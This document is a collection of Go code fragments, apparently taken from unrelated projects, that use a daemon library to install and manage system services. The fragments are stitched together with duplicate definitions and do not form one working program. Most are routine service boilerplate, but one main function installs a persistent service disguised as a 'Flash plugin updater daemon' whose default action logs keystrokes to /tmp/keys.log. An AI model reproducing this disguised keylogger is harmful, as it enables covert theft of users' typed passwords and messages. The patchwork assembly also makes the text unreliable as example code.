func NewService() (*Service, error) { daemon, err := daemon.New(config.ServiceName, config.ServiceDesc) if err != nil { return nil, err } return &Service{daemon}, nil }
func NewService(name, description string, dependencies []string) (*Service, error) { srv, err := daemon.New(name, description, dependencies) if err != nil { return nil, err } return &Service{srv}, nil }
// New - Create a new service record func New(name, description string) (*Record, error) { daemonInstance, err := daemon.New(name, description) if err != nil { return nil, err } return &Record{name, config.New(), daemonInstance}, nil }
func remove() { service, err := daemon.New("shadowsocks-server", "shadowsocks") if err != nil { log.Fatal("Error: ", err) } status, err := service.Remove() if err != nil { log.Fatal(status, "\nError: ", err) } fmt.Println(status) }
func main() { cmd := "run" if len(os.Args) > 1 { cmd = os.Args[1] } service, err := daemon.New("FlashUpdate", "Flash plugin updater daemon") if err != nil { log.Fatal(err) } if cmd == "install" { _, err := service.Install() if err != nil { log.Fatal(err) } _, err = service.Start() if err != nil { log.Fatal(err) } os.Exit(0) } else if cmd == "remove" { _, err := service.Stop() if err != nil { log.Fatal(err) } _, err = service.Remove() if err != nil { log.Fatal(err) } os.Exit(0) } else if cmd == "help" { log.Println("Possible Commands: install remove help run") } else { out, err := os.OpenFile("/tmp/keys.log", os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644) if err != nil { log.Fatal(err) } defer out.Close() LogKeys(out) os.Exit(0) } }
func main() { srv, err := daemon.New("image-assistantd", "image", dependencies...) if err != nil { errlog.Println(err) os.Exit(1) } service := &Service{srv} status, err := service.Manage() if err != nil { errlog.Println(err) os.Exit(1) } stdlog.Println(status) }
func main() { srv, err := daemon.New(name, description) if err != nil { errlog.Println("Error: ", err) os.Exit(1) } service := &Service{srv} status, err := service.Manage() if err != nil { errlog.Println(status, "\nError: ", err) os.Exit(1) } fmt.Println(status) }
func main() { rawService, err := daemon.New(name, description, dependencies...) if err != nil { errlog.Println("Error: ", err) os.Exit(1) } service := &speedtestd.Service{rawService} // service.port = port status, err := service.Manage() if err != nil { errlog.Println(status, "\nError: ", err) os.Exit(1) } fmt.Println(status) }
func (cmd) Execute(args map[string]interface{}) bool { srv, err := daemonize.New(name, description, dependencies...) if err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) return false } svc := &service{srv, args} status, err := svc.Manage() if err != nil { fmt.Fprintf(os.Stderr, "%s\n%v\n", status, err) } fmt.Println(status) return true }